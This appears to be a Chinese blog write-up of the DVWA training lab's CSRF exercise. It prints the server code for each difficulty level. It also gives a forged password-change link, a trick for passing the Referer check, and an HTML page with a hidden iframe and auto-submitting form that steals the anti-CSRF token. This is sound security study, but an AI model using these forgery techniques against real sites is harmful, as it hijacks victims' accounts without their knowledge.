美文网首页
DVWA笔记之CSRF

DVWA笔记之CSRF

作者: inspireboom | 来源:发表于2017-08-17 15:08 被阅读0次

CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。

low服务端代码

<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
    // Get input 
    $pass_new  = $_GET[ 'password_new' ]; 
    $pass_conf = $_GET[ 'password_conf' ]; 

    // Do the passwords match? 
    if( $pass_new == $pass_conf ) { 
        // They do! 
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new ); 

        // Update the database 
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 

        // Feedback for the user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with passwords matching 
        echo "<pre>Passwords did not match.</pre>"; 
    } 
    mysql_close(); 
} 

?>

思路:直接构造链接就可以:
http://.../dvwa/vulnerabilities/csrf/?password_new=PASSWORD&password_conf=PASSWORD&Change=Change#
不完美的话再去转成短地址就看不出来了。还可以在公网上传一个攻击页面,诱骗受害者去访问。

medium服务端代码

<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
    // Checks to see where the request came from 
    if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) { 
        // Get input 
        $pass_new  = $_GET[ 'password_new' ]; 
        $pass_conf = $_GET[ 'password_conf' ]; 

        // Do the passwords match? 
        if( $pass_new == $pass_conf ) { 
            // They do! 
            $pass_new = mysql_real_escape_string( $pass_new ); 
            $pass_new = md5( $pass_new ); 

            // Update the database 
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
            $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 

            // Feedback for the user 
            echo "<pre>Password Changed.</pre>"; 
        } 
        else { 
            // Issue with passwords matching 
            echo "<pre>Passwords did not match.</pre>"; 
        } 
    } 
    else { 
        // Didn't come from a trusted source 
        echo "<pre>That request didn't look correct.</pre>"; 
    } 

    mysql_close(); 
} 
?> 

相关函数说明

int eregi(string pattern, string string)

检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。

可以看到,Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名)。
因为是referer值包含主机名,所以可以将攻击页面名称改为"主机.html"。

High服务端代码:

<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $pass_new  = $_GET[ 'password_new' ]; 
    $pass_conf = $_GET[ 'password_conf' ]; 

    // Do the passwords match? 
    if( $pass_new == $pass_conf ) { 
        // They do! 
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new ); 

        // Update the database 
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 

        // Feedback for the user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with passwords matching 
        echo "<pre>Passwords did not match.</pre>"; 
    } 

    mysql_close(); 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?> 

可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
写个脚本,获取token。

<script type="text/javascript">
    function attack()
    {
        document.write(document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value);
        document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
        document.getElementById("transfer").submit();
    }
</script>

<iframe src="http://*.*.*.*/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display: none;"></iframe>

<body onload="attack()">
    <form method="GET" id="transfer" action="http://*.*.*.*/dvwa/vulnerabilities/csrf">
        <input type="hidden" name="password_new" value="password">
        <input type="hidden" name="password_conf" value="password">
        <input type="hidden" name="user_token" value="">
        <input type="hidden" name="Change" value="Change">
    </form>
</body>

但是跨域请求卡住了,只能通过注入获取token再进行csrf。

impossible
服务端代码:

<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $pass_curr = $_GET[ 'password_current' ]; 
    $pass_new  = $_GET[ 'password_new' ]; 
    $pass_conf = $_GET[ 'password_conf' ]; 

    // Sanitise current password input 
    $pass_curr = stripslashes( $pass_curr ); 
    $pass_curr = mysql_real_escape_string( $pass_curr ); 
    $pass_curr = md5( $pass_curr ); 

    // Check that the current password is correct 
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); 
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); 
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); 
    $data->execute(); 

    // Do both new passwords match and does the current password match the user? 
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { 
        // It does! 
        $pass_new = stripslashes( $pass_new ); 
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new ); 

        // Update database with new password 
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); 
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); 
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); 
        $data->execute(); 

        // Feedback for the user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with passwords matching 
        echo "<pre>Passwords did not match or current password incorrect.</pre>"; 
    } 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?> 

Impossible级别的代码利用PDO技术防御SQL注入,并且要原始密码,攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF。攻击。

相关文章

  • DVWA笔记之CSRF

    CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失...

  • DVWA之CSRF

    CSRF(Cross-site request forgery) CSRF,全称Cross-site reques...

  • DVWA之csrf学习

    CSRF:跨站请求伪造,诱骗受害者访问含恶意代码的页面,利用受害者的身份认证,以受害者的名义向服务器发送请求,从而...

  • DVWA——CSRF

    Low等级 抓包 正常跳转 在这里我们把密码改为qwer 成功进入了DVWA CSRF Medium等级: 开始,...

  • DVWA CSRF模块

    CSRF,全称Cross-site request forgery,即跨站请求伪造,是指利用受害者尚未失效的身份认...

  • 在线靶场

    1.DVWA DVWA是著名的OWASP开放出来的一个在线web安全教、学平台提供了:暴力破解、命令执行、CSRF...

  • DVWA练习记录——CSRF

    在线练习靶场 http://www.vulnspy.com/dvwa/damn_vulnerable_web_ap...

  • CSRF-DVWA利用

    LEVE: low自动跳转change 构造文件名为 192.168.13.83.html 由于本地搭建环境地...

  • DVWA笔记之brute

    Brute Force low服务端代码: 暴力破解思路: 账号admin,1、简单字典多次暴力破解2、sql注入...

  • CSRF跨站请求攻击

    原理 在攻击者的网站去调用你的服务。比如点赞、关注、修改密码 攻击演示 启动DVWA, 进入CSRF 在输入框输入...

网友评论

      本文标题:DVWA笔记之CSRF

      本文链接:https://www.haomeiwen.com/subject/croirxtx.html